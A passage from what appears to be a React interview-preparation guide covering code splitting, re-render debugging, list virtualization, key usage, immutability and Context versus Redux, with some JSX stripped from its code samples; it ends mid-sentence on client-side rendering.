**Prefetching and Preloading**: ```javascript theme={null} // Prefetch on hover (load chunk before user clicks) const Settings = React.lazy(() => import('./Settings')); const prefetchSettings = () => import('./Settings'); // triggers chunk download Settings ``` **Error Handling**: Combine `Suspense` with an Error Boundary to handle chunk load failures (network errors): ```javascript theme={null} }> }> ``` **Bundle Analysis**: Use `webpack-bundle-analyzer` or `vite-plugin-visualizer` to identify which chunks are large and what dependencies they pull in. A common finding: moment.js (300KB) pulled into the main bundle because one component uses it. **What interviewers are really testing:** Do you think about performance holistically? Can you identify the right splitting boundaries? Do you handle failure cases? **Red flag answer:** Only knowing the syntax without understanding splitting strategy, prefetching, or error handling for failed chunk loads. **Follow-up:** 1. How would you implement a "retry on failure" mechanism for a failed lazy-loaded chunk? 2. What is the difference between `React.lazy` and dynamic `import()` with manual state management? When would you choose one over the other? 3. How does React Suspense for data fetching differ from Suspense for code splitting? **Answer**: Excessive re-renders are the #1 React performance issue in production. A component that renders 100 times when it should render once can make the difference between 60fps and 15fps. **Systematic Debugging Approach**: 1. **React DevTools Profiler** (first tool, always): Enable "Record why each component rendered." Run the Profiler, perform the slow interaction, stop recording. Look for: * Components rendering many times (high render count). * Components with long render durations. * The "Why did this render?" column -- shows "Props changed", "State changed", "Parent rendered", or "Hooks changed." 2. **`console.log` or `useWhyDidYouRender`**: For quick debugging, add a log at the top of the component. The `why-did-you-render` library patches React to log exactly which prop/state change triggered the re-render. 3. **Common Root Causes and Fixes**: **Cause**: Context value changes too often. **Fix**: Split context, memoize the value, or move to Zustand/Jotai for high-frequency state. **Cause**: Parent passes new object/function references. **Fix**: `useMemo` for objects, `useCallback` for functions, or restructure to pass primitives. **Cause**: State too high in the tree. **Fix**: Move state down to the component that actually needs it (composition pattern / "lift state down"). **Cause**: Subscribing to an entire store instead of a slice. **Fix**: Use selectors (`useStore(state => state.count)` in Zustand). **Cause**: `useEffect` dependency array creates a loop (effect updates state that is in its own deps). **Fix**: Use functional state updates or extract the logic. 4. **Nuclear Option -- Composition Refactor**: Sometimes the component tree structure itself is the problem. Splitting a "god component" into smaller, focused components with clear data boundaries can eliminate 80% of unnecessary re-renders. **Real-World Case**: A data table component re-rendering all 500 rows on every sort/filter. Root cause: the `columns` config array was recreated every render in the parent. Fix: `useMemo` on the columns array. Result: sort operation went from 400ms to 12ms. **What interviewers are really testing:** Systematic debugging methodology. Do you reach for the right tools? Can you identify root causes vs symptoms? **Red flag answer:** "Just wrap everything in React.memo and useMemo" -- this is a shotgun approach that shows no diagnostic skill. **Follow-up:** 1. Walk me through how you would profile a specific slow interaction step by step using React DevTools. 2. What is the "composition pattern" for avoiding re-renders, and how does moving state down help? 3. How do you distinguish between re-renders that are expensive (need fixing) vs re-renders that are cheap (acceptable)? **Answer**: Rendering thousands of DOM nodes simultaneously destroys performance. A list of 10,000 items creates 10,000 `

` elements, each taking \~1KB of memory and requiring layout calculation. Virtualization solves this by rendering only the **visible slice** of the list (typically 20-50 items) plus a small buffer, and dynamically swapping elements as the user scrolls. **How It Works Internally**: 1. Calculate which items are visible based on scroll position and container height. 2. Render only those items, absolutely positioned at their correct offset. 3. Set the total container height to simulate the full list (so the scrollbar looks correct). 4. On scroll, recalculate visible range and swap items. **Libraries**: * **`react-window`** (Brian Vaughn, React core team): Lightweight (\~6KB), covers 90% of use cases. Fixed and variable size lists/grids. * **`react-virtuoso`**: More features out of the box (grouped lists, reverse scrolling for chat, table support). * **`@tanstack/react-virtual`**: Headless (no DOM opinions), framework-agnostic, great TypeScript support. ```javascript theme={null} import { FixedSizeList } from 'react-window'; const Row = ({ index, style }) => (

Row {index}

); {Row} ``` **Variable-Size Items (Harder Problem)**: When items have different heights (chat messages, feed posts), you need `VariableSizeList` with a size estimator function. You often need to measure items after render and update the cache, which `react-virtuoso` handles better out of the box. **Gotchas**: * **Search/Find on page** (Ctrl+F): Browser search cannot find text in non-rendered items. Workaround: add invisible text or use a custom search UI. * **Accessibility**: Screen readers may not announce total list size. Add `aria-rowcount` and `aria-rowindex`. * **Scroll restoration**: Navigating away and back loses scroll position. Store scroll offset and restore on mount. * **Dynamic content loading**: Combine virtualization with infinite scroll (load more data as user approaches the bottom). **What interviewers are really testing:** Do you know when to virtualize (not for 50 items), the library landscape, and the accessibility/UX trade-offs? **Red flag answer:** "Just use react-window" without understanding the trade-offs or knowing about alternatives for complex cases (variable heights, bi-directional scrolling). **Follow-up:** 1. How would you implement virtualization for a grid (2D) vs a list (1D)? What additional complexity arises? 2. At what item count does virtualization become worthwhile? How would you benchmark this? 3. How do you handle items with unknown/dynamic heights in a virtualized list? **Answer**: Using array `index` as a key is one of the most common React anti-patterns, and it causes **silent, hard-to-debug state corruption** in specific scenarios. **Why Index Keys Break**: When you use `key={index}`, React identifies elements by their position. If the list is reordered, filtered, or has items inserted/deleted at the beginning or middle: 1. React sees `key=0` still exists, `key=1` still exists, etc. 2. It **reuses** the Fiber nodes (and their state) for those keys. 3. But the *data* at each position has changed. 4. Result: Component at position 0 shows the *state* of the old item 0 (input values, selection state, animation state) but the *props* of the new item 0. **Concrete Bug Example**: ``` Each TodoItem has a controlled input for editing List: ["Buy milk", "Walk dog", "Read book"] Keys: [0, 1, 2] User edits "Walk dog" input to "Walk cat" User deletes "Buy milk" New list: ["Walk dog", "Read book"], keys: [0, 1] Bug: Item at key=0 ("Walk dog") still shows the INPUT STATE from old key=0 ("Buy milk") The edited text "Walk cat" is GONE ``` **When Index Keys Are Actually Safe**: When the list is **static** (never reordered, filtered, or modified), or the items have no state (pure display components). But even then, using stable IDs is a better habit. **Generating Stable Keys**: Use `item.id` from the database. If no ID exists, generate one when the data is created (not during render -- `uuid()` in render creates new keys every render, which destroys all component instances every time): ```javascript theme={null} // BAD: new key every render, destroys and recreates all components items.map(item => ) // GOOD: stable ID from data items.map(item => ) ``` **What interviewers are really testing:** Understanding of how React uses keys for reconciliation at a deep level, and ability to predict bugs from incorrect key usage. **Red flag answer:** "Index keys are bad for performance" -- it is not about performance, it is about **correctness**. State corruption is the real issue. **Follow-up:** 1. Give me a scenario where using `index` as key causes a visible bug. Walk through the reconciliation step by step. 2. What happens if two siblings have the same key? Does React crash or silently misbehave? 3. Can you use the `key` prop to intentionally reset a component's state? When is this useful? **Answer**: React's reactivity system is built on **reference equality checks** (`===`). When you call `setState`, React compares the new value to the old value. For primitives (numbers, strings), this checks the value. For objects and arrays, this checks the **memory reference**. **The Core Problem**: ```javascript theme={null} // WRONG: Mutation -- same reference, React sees no change const handleClick = () => { user.name = 'Alice'; // Mutating existing object setUser(user); // Same reference! React skips re-render }; // RIGHT: New object -- new reference, React detects change const handleClick = () => { setUser({ ...user, name: 'Alice' }); // Spread creates new object }; ``` **Why React Chose Reference Equality Over Deep Equality**: * Deep comparison is O(n) where n is the total size of the object tree. For a Redux store with 10,000 entries, deep comparing on every update would be more expensive than just re-rendering. * Reference equality is O(1) -- a single pointer comparison. * The trade-off: developers must create new references when data changes. This is the "immutable update" pattern. **Immutability Beyond React**: Immutable state also enables: 1. **Time-travel debugging** (Redux DevTools): Each state snapshot is a separate object, so you can replay them. 2. **Structural sharing**: Libraries like Immer only clone the changed branches, reusing unchanged sub-trees. This is memory-efficient. 3. **Predictable state**: No spooky action at a distance. If you hold a reference to the old state, it never changes. **Immer Makes This Ergonomic**: ```javascript theme={null} import { produce } from 'immer'; // Instead of deeply nested spreads: const next = { ...state, user: { ...state.user, address: { ...state.user.address, city: 'NYC' } } }; // Immer lets you write "mutations" that produce immutable results: const next = produce(state, draft => { draft.user.address.city = 'NYC'; }); ``` Redux Toolkit uses Immer internally in `createSlice` reducers, which is why you can write "mutating" code in RTK reducers. **What interviewers are really testing:** Understanding of JavaScript reference semantics, why React made this design choice, and practical strategies for working with immutable data. **Red flag answer:** "Because React requires immutability" without explaining *why* (reference equality) or knowing about tools like Immer that make it ergonomic. **Follow-up:** 1. How does Immer achieve "mutable syntax, immutable results" under the hood? (Hint: Proxy) 2. What is structural sharing and why does it matter for performance when dealing with large state trees? 3. How do signals-based frameworks (SolidJS, Angular Signals) handle reactivity differently than React's immutable reference model? ## 5. Ecosystem & Advanced **Answer**: This comparison is one of the most misunderstood topics in React. Context and Redux solve **different problems**, and the right answer depends on what you are actually building. **Context (React Built-in)**: * **Purpose**: Dependency injection. Passing values down without prop drilling. * **Best for**: Static or low-frequency global data -- theme, locale, auth status, feature flags. * **Re-render behavior**: When the context value changes, **every** component calling `useContext(ThatContext)` re-renders, regardless of whether they use the specific piece that changed. No selector mechanism. * **Async**: No built-in support. You handle loading/error states yourself. * **Devtools**: React DevTools shows context values but no action history or time travel. **Redux / Zustand / Jotai (External Libraries)**: * **Purpose**: Predictable state management with fine-grained subscriptions. * **Best for**: High-frequency updates, complex state logic, state shared across many components with different access patterns. * **Re-render behavior**: Selectors (`useSelector`, `useStore(s => s.count)`) let components subscribe to specific slices. Only re-renders when the selected value changes. * **Middleware**: Thunks, sagas, logging, persistence, optimistic updates. * **Devtools**: Full action history, time-travel debugging, state diff visualization. **The Real Decision Framework**: 1. **How often does the data change?** Once per session (auth, theme) -> Context. Multiple times per second (form input, real-time data) -> External library. 2. **How many components consume it?** A few -> Context is fine. Dozens with different access patterns -> Need selectors. 3. **Do you need middleware?** Async flows, logging, persistence -> External library. 4. **Team size and complexity?** 2-person project -> Context + useReducer. 20-person team with complex state -> Redux/Zustand for the dev tools and predictability. **Modern Landscape** (2024+): Redux is no longer the default. Zustand (\~2KB, minimal boilerplate), Jotai (atomic state), and TanStack Query (server state) have captured significant market share. The "right" answer depends on the specific problem. **What interviewers are really testing:** Can you reason about trade-offs instead of reciting "Redux vs Context" dogma? Do you understand the re-render implications? **Red flag answer:** "Context replaces Redux" or "Always use Redux for state management." Both are overly simplistic. **Follow-up:** 1. Design a scenario where Context causes a performance problem. How would you detect and fix it? 2. Compare Zustand, Jotai, and Redux Toolkit. When would you pick each one? 3. How does TanStack Query change the "which state manager?" question? What state does it handle that Redux/Context should not? **Answer**: The rendering strategy determines when the user sees content and when the page becomes interactive. **CSR (Client Side Rendering)**: * Server sends a nearly empty HTML file with a `